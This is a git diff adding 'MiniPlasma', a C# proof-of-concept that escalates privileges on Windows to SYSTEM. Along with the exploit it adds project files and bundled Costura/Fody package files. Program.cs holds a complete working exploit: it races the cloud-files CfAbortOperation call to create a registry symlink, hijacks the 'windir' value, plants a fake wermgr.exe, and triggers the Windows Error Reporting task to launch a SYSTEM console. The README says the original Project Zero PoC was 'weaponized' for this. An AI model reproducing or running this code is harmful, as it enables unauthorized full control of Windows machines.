{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3} + Exe + true + PoC_AbortHydration_ArbitraryRegKey_EoP + PoC_AbortHydration_ArbitraryRegKey_EoP + v4.8.1 + 512 + true + true + false + + + + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 1 + 1.0.0.%2a + false + true + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + 0F28BB121C2D5CEE6A57C741514F51E5F2D9ECAD + + + PoC_AbortHydration_ArbitraryRegKey_EoP_TemporaryKey.pfx + + + true + + + true + + + + ..\packages\Costura.Fody.6.2.0\lib\netstandard2.0\Costura.dll + + + ..\packages\TaskScheduler.2.12.2\lib\net48\Microsoft.Win32.TaskScheduler.dll + + + ..\packages\NtApiDotNet.1.1.33\lib\net461\NtApiDotNet.dll + + + + + + + + + + + + + + + + + + + + + + + + + + False + Microsoft .NET Framework 4.7.2 %28x86 and x64%29 + true + + + False + .NET Framework 3.5 SP1 + false + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + + \ No newline at end of file diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user new file mode 100644 index 0000000..75eb54d --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user @@ -0,0 +1,13 @@ + + + + publish\ + + + + + + en-US + false + + \ No newline at end of file diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs new file mode 100644 index 0000000..afe21d1 --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs @@ -0,0 +1,369 @@ +using Microsoft.Win32; +using Microsoft.Win32.TaskScheduler; +using NtApiDotNet; +using NtApiDotNet.Win32; +using System; +using System.Diagnostics; +using System.IO; +using System.IO.Pipes; +using System.Runtime.InteropServices; +using System.Security.AccessControl; +using System.Security.Cryptography; +using System.Security.Permissions; +using System.Threading; + +namespace PoC_AbortHydration_ArbitraryRegKey_EoP +{ + static class Program + { + static NtKey OpenKey(NtKey root, string path, KeyAccessRights desired_access) + { + Console.WriteLine("Opening for {0}", desired_access); + using (var obja = new ObjectAttributes(path, AttributeFlags.OpenLink, root)) + { + using (var key = NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile, false)) + { + if (key.IsSuccess) + return key.Result.Duplicate(); + } + + using (var imp = NtThread.Current.ImpersonateAnonymousToken()) + { + return NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile); + } + } + } + + static void SetSecurityDescriptor(NtKey key, SecurityInformation info) + { + var sd = new SecurityDescriptor("D:(A;OICIIO;GA;;;WD)(A;OICIIO;GA;;;AN)(A;;GA;;;WD)(A;;GA;;;AN)S:(ML;OICI;NW;;;S-1-16-0)"); + key.SetSecurityDescriptor(sd, info); + } + + static void ForceKeyDeleteKey(NtKey root, string name) + { + Console.WriteLine(@"Deleting {0}\{1}", root.FullPath, name); + using (var key = OpenKey(root, name, KeyAccessRights.WriteDac)) + { + Console.WriteLine("Opened for WriteDac"); + SetSecurityDescriptor(key, SecurityInformation.Dacl); + } + + using (var key = OpenKey(root, name, KeyAccessRights.WriteOwner)) + { + Console.WriteLine("Opened for WriteOwner"); + SetSecurityDescriptor(key, SecurityInformation.Label); + } + + using (var new_key = OpenKey(root, name, KeyAccessRights.Delete | KeyAccessRights.EnumerateSubKeys)) + { + Console.WriteLine("Opened for enumerate."); + DeleteRegistryTree(new_key); + new_key.Delete(); + } + } + + static void DeleteRegistryTree(NtKey root) + { + foreach (var name in root.QueryKeys()) + { + ForceKeyDeleteKey(root, name); + } + } + + [Flags] + enum AbortHydrationFlags + { + None = 0, + Unblock = 1, + Block = 2, + } + + [DllImport("cldapi.dll", CharSet = CharSet.Unicode)] + static extern int CfAbortOperation(int pid, IntPtr unknown, AbortHydrationFlags flags); + + + [StructLayout(LayoutKind.Sequential)] + struct CF_PLATFORM_INFO + { + public int BuildNumber; + public int RevisionNumber; + public int IntegrationNumber; + } + + [DllImport("cldapi.dll", CharSet = CharSet.Unicode)] + static extern int CfGetPlatformInfo( + out CF_PLATFORM_INFO PlatformVersion + ); + + static void ForceTokenThread(object obj) + { + try + { + using (var thread = (NtThread)obj) + { + Console.WriteLine("In force token thread {0}", thread); + using (var token = TokenUtils.GetAnonymousToken()) + { + while (true) + { + thread.SetImpersonationToken(token); + thread.SetImpersonationToken(null); + } + } + } + } + catch(ThreadAbortException) + { + return; + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + + const string ROOT_KEY = @"\Registry\User\.DEFAULT\Software\Policies\Microsoft"; + static string CLOUD_FILES = $@"{ROOT_KEY}\CloudFiles"; + static string BLOCKED_APPS = $@"{CLOUD_FILES}\BlockedApps"; + const string TARGET_KEY = @"\Registry\User\.DEFAULT\Volatile Environment"; + + static void CheckKeyThread(object root_key) + { + string path = (bool)root_key ? ROOT_KEY : @"\Registry\User\.DEFAULT"; + try + { + using (var key = NtKey.Open(path, null, KeyAccessRights.MaximumAllowed)) + { + while (true) + { + if (key.NotifyChange(NotifyCompletionFilter.Name, true) == NtStatus.STATUS_NOTIFY_ENUM_DIR) + { + Console.WriteLine("Change detected."); + Environment.Exit(0); + break; + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + + static int Check(this int hr) + { + if (hr < 0) + Marshal.ThrowExceptionForHR(hr); + return hr; + } + + const int MAX_STAGE = 4; + + static void Stage0() + { + for (int i = 1; i < MAX_STAGE; ++i) + { + Win32ProcessConfig config = new Win32ProcessConfig + { + CommandLine = $"run {i}", + ApplicationName = typeof(Program).Assembly.Location, + TerminateOnDispose = true + }; + + using (var p = Win32Process.CreateProcess(config)) + { + if (p.Process.Wait(10) != NtStatus.STATUS_SUCCESS) + { + throw new ArgumentException($"Failed to run stage {i}"); + } + } + } + } + + static void Stage1(bool root_key) + { + Thread check_key_th = new Thread(CheckKeyThread); + check_key_th.IsBackground = true; + check_key_th.Start(root_key); + Thread.Sleep(1000); + + var th = NtThread.OpenCurrent(); + var anon_thread = new Thread(ForceTokenThread) + { + IsBackground = true + }; + anon_thread.Start(th); + + while (true) + { + CfAbortOperation(NtProcess.Current.ProcessId, + IntPtr.Zero, AbortHydrationFlags.Block); + } + } + + static void Stage2() + { + using (var key = OpenKey(null, CLOUD_FILES, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner | KeyAccessRights.EnumerateSubKeys)) + { + SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label); + DeleteRegistryTree(key); + } + + NtKey.CreateSymbolicLink(BLOCKED_APPS, null, TARGET_KEY); + Stage1(false); + } + + static void Stage3() + { + using (var key = OpenKey(null, BLOCKED_APPS, KeyAccessRights.Delete)) + { + Console.WriteLine("Cleaning up link {0}", key.FullPath); + key.Delete(); + } + + using (var key = OpenKey(null, TARGET_KEY, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner)) + { + SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label); + } + var key2 = Registry.Users.OpenSubKey(@".DEFAULT\Volatile Environment", RegistryRights.FullControl); + foreach(var subkey in key2.GetSubKeyNames()) + { + var fullsubkey = TARGET_KEY + @"\" + subkey; + Console.WriteLine("Cleaning up subkey {0}", fullsubkey); + NtKey _subkey; + try + { + _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.WriteDac); + } + catch (Exception ex) + { + + _subkey = OpenKey(null, fullsubkey, KeyAccessRights.WriteDac); + } + SetSecurityDescriptor(_subkey, SecurityInformation.Dacl); + _subkey.Close(); + _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.Delete); + _subkey.Delete(); + _subkey.Close(); + } + + key2.Close(); + using(NtKey ntarget = NtKey.Open(TARGET_KEY,null,KeyAccessRights.SetValue)) + { + ntarget.SetValue("windir", Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName)); + } + + string fakesys32 = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName) + @"\System32"; + Directory.CreateDirectory(fakesys32); + string fakewer = fakesys32 + @"\wermgr.exe"; + File.Copy(Process.GetCurrentProcess().MainModule.FileName, fakewer, true); + + var srvnamedpipe = new NamedPipeServerStream("MiniPlasmaWERPipe"); + System.Threading.Tasks.Task pipewait = srvnamedpipe.WaitForConnectionAsync(); + + using (TaskService tasksvc = new TaskService()) + { + Task wertask = tasksvc.GetTask(@"\Microsoft\Windows\Windows Error Reporting\QueueReporting"); + wertask.Run(); + wertask.Dispose(); + } + if(!pipewait.Wait(2000)) + { + Console.WriteLine("Exploit failed."); + } + else + { + Console.WriteLine("Exploit succeeded."); + } + srvnamedpipe.Dispose(); + Thread.Sleep(1000); + try + { + File.Delete(fakewer); + Directory.Delete(fakesys32); + } + catch (Exception ex) + { } + using (NtKey ntarget = NtKey.Open(TARGET_KEY, null, KeyAccessRights.Delete)) + { + ntarget.Delete(false); + } + + } + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool GetNamedPipeServerSessionId(IntPtr Pipe, out UInt32 ClientProcessId); + + static void Main(string[] args) + { + bool isSystem; + using (var identity = System.Security.Principal.WindowsIdentity.GetCurrent()) + { + isSystem = identity.IsSystem; + } + if (isSystem) + { + Environment.SetEnvironmentVariable("windir", @"C:\Windows",EnvironmentVariableTarget.Process); + var namedpipeclient = new NamedPipeClientStream("MiniPlasmaWERPipe"); + namedpipeclient.Connect(); + UInt32 nSesID; + IntPtr hPipe = namedpipeclient.SafePipeHandle.DangerousGetHandle(); + if (!GetNamedPipeServerSessionId(hPipe, out nSesID)) + return; + namedpipeclient.Dispose(); + NtToken token = NtToken.OpenEffectiveToken(); + NtToken token2 = token.DuplicateToken(); + token.Dispose(); + token = token2; + token.SetSessionId(((int)nSesID)); + Win32Process.CreateProcessAsUser(token, @"C:\Windows\System32\conhost.exe", "", CreateProcessFlags.None, null); + return; + + } + + + try + { + CfGetPlatformInfo(out CF_PLATFORM_INFO _).Check(); + + if (args.Length <= 1) + { + int stage = args.Length > 0 ? int.Parse(args[0]) : 0; + switch (stage) + { + case 0: + Stage0(); + break; + case 1: + Stage1(true); + break; + case 2: + Stage2(); + break; + case 3: + Stage3(); + break; + default: + throw new ArgumentException("Erm?"); + } + } + else + { + using (var token = TokenUtils.GetLogonUserToken(args[0], "", args[1], SecurityLogonType.Network, null)) + { + using (var imp = token.Impersonate()) + { + CfAbortOperation(NtProcess.Current.ProcessId, IntPtr.Zero, AbortHydrationFlags.Block).Check(); + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + } +} diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/Properties/AssemblyInfo.cs b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..6e2483f --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("PoC_AbortHydration_ArbitraryRegKey_EoP")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("PoC_AbortHydration_ArbitraryRegKey_EoP")] +[assembly: AssemblyCopyright("Copyright © 2020")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("352f6dd7-9b05-4896-9e7d-2efa36eac6e3")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config new file mode 100644 index 0000000..e7e6172 --- /dev/null +++ b/MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/MiniPlasma/README.md b/MiniPlasma/README.md new file mode 100644 index 0000000..f089ab1 --- /dev/null +++ b/MiniPlasma/README.md @@ -0,0 +1,16 @@ +# MiniPlasma + +After re-investigating the technique used in GreenPlasma (specifically SetPolicyVal), it turns out cldflt!HsmOsBlockPlaceholderAccess is still vulnerable to the exact same issue that was reported to Microsoft 6 years ago. +I'm not taking full credit for this, James Forshaw from google project zero found the vulnerability and reported it to Microsoft and was supposedly fixed as [CVE-2020-17103](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17103). + +However, a research who's a friend of mine pointed out that the routine might still have a vulnerability, which is something I considered but brushed off because I thought it was impossible for Microsoft to just not patch this or rollback the patch. + +After investigating, it turns out the exact same issue that [was reported to Microsoft by Google project zero](https://project-zero.issues.chromium.org/issues/42451192) is actually still present, unpatched. I'm unsure if Microsoft just never patched the issue or the patch was silently rolled back at some point for unknown reasons. The original PoC by Google worked without any changes. + +To highlight this issue, I weaponized the original PoC to spawn a SYSTEM shell. It seems to work reliably in my machines but success rate may vary since it's a race condition. + +I believe all Windows versions are affected by this vulnerability. + +poc + + diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/.signature.p7s b/MiniPlasma/packages/Costura.Fody.6.2.0/.signature.p7s new file mode 100644 index 0000000..1629ee0 Binary files /dev/null and b/MiniPlasma/packages/Costura.Fody.6.2.0/.signature.p7s differ diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/Costura.Fody.6.2.0.nupkg b/MiniPlasma/packages/Costura.Fody.6.2.0/Costura.Fody.6.2.0.nupkg new file mode 100644 index 0000000..a57c160 Binary files /dev/null and b/MiniPlasma/packages/Costura.Fody.6.2.0/Costura.Fody.6.2.0.nupkg differ diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/build/Costura.Fody.props b/MiniPlasma/packages/Costura.Fody.6.2.0/build/Costura.Fody.props new file mode 100644 index 0000000..ea96788 --- /dev/null +++ b/MiniPlasma/packages/Costura.Fody.6.2.0/build/Costura.Fody.props @@ -0,0 +1,15 @@ + + + + netclassicweaver + netstandardweaver + + + + + + + \ No newline at end of file diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/build/Costura.Fody.targets b/MiniPlasma/packages/Costura.Fody.6.2.0/build/Costura.Fody.targets new file mode 100644 index 0000000..e8adf78 --- /dev/null +++ b/MiniPlasma/packages/Costura.Fody.6.2.0/build/Costura.Fody.targets @@ -0,0 +1,13 @@ + + + + true + + + + + + + + + \ No newline at end of file diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/icon.png b/MiniPlasma/packages/Costura.Fody.6.2.0/icon.png new file mode 100644 index 0000000..e5fdc34 Binary files /dev/null and b/MiniPlasma/packages/Costura.Fody.6.2.0/icon.png differ diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.dll b/MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.dll new file mode 100644 index 0000000..a448e65 Binary files /dev/null and b/MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.dll differ diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.pdb b/MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.pdb new file mode 100644 index 0000000..9190320 Binary files /dev/null and b/MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.pdb differ diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.xml b/MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.xml new file mode 100644 index 0000000..b08fdcb --- /dev/null +++ b/MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.xml @@ -0,0 +1,23 @@ + + + + Costura + + + + + Note: do not rename this class or put it inside a namespace. + + + + + Contains methods for interacting with the Costura system. + + + + + Call this to Initialize the Costura system. + + + + diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.dll b/MiniPlasma/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.dll new file mode 100644 index 0000000..1f1dcce Binary files /dev/null and b/MiniPlasma/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.dll differ diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.xcf b/MiniPlasma/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.xcf new file mode 100644 index 0000000..5aa9a31 --- /dev/null +++ b/MiniPlasma/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.xcf @@ -0,0 +1,160 @@ + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead. + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with |. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with |. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + \ No newline at end of file diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.dll b/MiniPlasma/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.dll new file mode 100644 index 0000000..5e60009 Binary files /dev/null and b/MiniPlasma/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.dll differ diff --git a/MiniPlasma/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.xcf b/MiniPlasma/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.xcf new file mode 100644 index 0000000..5aa9a31 --- /dev/null +++ b/MiniPlasma/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.xcf @@ -0,0 +1,160 @@ + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead. + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with |. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with |. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + \ No newline at end of file diff --git a/MiniPlasma/packages/Fody.6.9.3/.signature.p7s b/MiniPlasma/packages/Fody.6.9.3/.signature.p7s new file mode 100644 index 0000000..2943e1b Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/.signature.p7s differ diff --git a/MiniPlasma/packages/Fody.6.9.3/Fody.6.9.3.nupkg b/MiniPlasma/packages/Fody.6.9.3/Fody.6.9.3.nupkg new file mode 100644 index 0000000..2902ae4 Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/Fody.6.9.3.nupkg differ diff --git a/MiniPlasma/packages/Fody.6.9.3/build/Fody.targets b/MiniPlasma/packages/Fody.6.9.3/build/Fody.targets new file mode 100644 index 0000000..f6cc780 --- /dev/null +++ b/MiniPlasma/packages/Fody.6.9.3/build/Fody.targets @@ -0,0 +1,149 @@ + + + $(ProjectDir)FodyWeavers.xml + $(MSBuildThisFileDirectory)..\ + $(FodyPath)tasks\netstandard2.0 + $(FodyPath)tasks\net472 + $(FodyAssemblyDirectory)\FodyTasks.dll + $(DefaultItemExcludes);FodyWeavers.xsd + true + 15 + $([System.Version]::Parse($(MSBuildVersion)).Major) + AfterCompile + $(TargetsTriggeredByCompilation);FodyTarget + true + $(TreatWarningsAsErrors) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/MiniPlasma/packages/Fody.6.9.3/package_icon.png b/MiniPlasma/packages/Fody.6.9.3/package_icon.png new file mode 100644 index 0000000..d27b17a Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/package_icon.png differ diff --git a/MiniPlasma/packages/Fody.6.9.3/package_readme.md b/MiniPlasma/packages/Fody.6.9.3/package_readme.md new file mode 100644 index 0000000..fb8762f --- /dev/null +++ b/MiniPlasma/packages/Fody.6.9.3/package_readme.md @@ -0,0 +1,6 @@ +### Extensible tool for weaving .net assemblies + +Manipulating the IL of an assembly as part of a build requires a significant amount of plumbing code. This plumbing code involves knowledge of both the MSBuild and Visual Studio APIs. Fody attempts to eliminate that plumbing code through an extensible add-in model. + +For more information about the Fody project see https://github.com/Fody/Home + diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyCommon.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyCommon.dll new file mode 100644 index 0000000..d6460ae Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyCommon.dll differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyHelpers.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyHelpers.dll new file mode 100644 index 0000000..23a3906 Binary files /dev/null and b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyHelpers.dll differ diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyHelpers.xml b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyHelpers.xml new file mode 100644 index 0000000..958b7bf --- /dev/null +++ b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyHelpers.xml @@ -0,0 +1,293 @@ + + + + FodyHelpers + + + + + Base class for module weavers. + + + + + The full element XML from FodyWeavers.xml. + + + + + Write a log entry to MSBuild with the level + + + + + Handler for writing a log entry at the level. + + + + + Write a log entry to MSBuild with the level + + + + + Handler for writing a log entry at the level. + + + + + Write a log entry to MSBuild with level + + + + + Handler for writing a log entry at a specific level. + + + + + Write a warning to MSBuild. + + + + + Write a warning to MSBuild and use for the file and line information. + + + + + Write a warning to MSBuild and use for the file and line information. + + + + + Handler for writing a warning. + + + + + Handler for writing a warning at a specific point in the code + + + + + Write an error to MSBuild. + + + + + Write an error to MSBuild and use for the file and line information. + + + + + Write a error to MSBuild and use for the file and line information. + + + + + Handler for writing an error. + + + + + Handler for writing an error at a specific point in the code. + + + + + Handler for resolving s. + + + + + The current s. + + + + + An instance of for processing. + + + + + Commonly used s. + + + + + The full path of the target assembly. + + + + + The full directory path of the target project. + A copy of $(MSBuildProjectDirectory). + + + + + The full file path of the target project. + A copy of $(MSBuildProjectFullPath). + + + + + The full directory path of the XML documentation file, + if generating the documentation file is enabled in the project. + A copy of @(DocFileItem->'%(FullPath)'). + + + + + The full directory path of the current weaver. + + + + + The full directory path of the current solution. + A copy of `$(SolutionDir)` or, if it does not exist, a copy of `$(MSBuildProjectDirectory)..\..\..\`. OPTIONAL + + + + + A semicolon delimited string that contains + all the references for the target project. + A copy of the contents of the @(ReferencePath). + + + + + A list of all the references marked as copy-local. + A copy of the contents of the @(ReferenceCopyLocalPaths). + + + This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(ReferenceCopyLocalPaths) list of the current build. + + + + + A list of all the runtime references marked as copy-local. + A copy of the contents of the @(RuntimeCopyLocalItems). + + + This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(RuntimeCopyLocalItems) list of the current build. + + + + + A list of all the msbuild constants. + A copy of the contents of the $(DefineConstants). + + + + + Called when the weaver is executed. + + + + + Called when a request to cancel the build occurs. + + + + + Return a list of assembly names for scanning. + Used as a list for . + + + + + Find a . + Uses all assemblies listed from calling on all weavers. + + + + + Handler for searching for a type. + Uses all assemblies listed from calling on all weavers. + + + + + Find a . + Uses all assemblies listed from calling on all weavers. + + + + + Handler for searching for a type. + Uses all assemblies listed from calling on all weavers. + + + + + Called after all weaving has occurred and the module has been saved. + + + + + Set to true if the reference to an equally named library (same name as this fody addin with the ending ".Fody" trimmed) + should be removed by Fody after a successful execution + + + + + Abstraction for the MSBuild MessageImportance. + + + + + Defaults for when writing to and . + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Decompile assemblies using ildasm.exe. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Verifies assemblies using peverify.exe. + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Uses to derive the current directory. + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases. + + + + + Replacement for . + + + + diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyIsolated.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyIsolated.dll new file mode 100644 index 0000000..4b20e4a Binary files /dev/null and 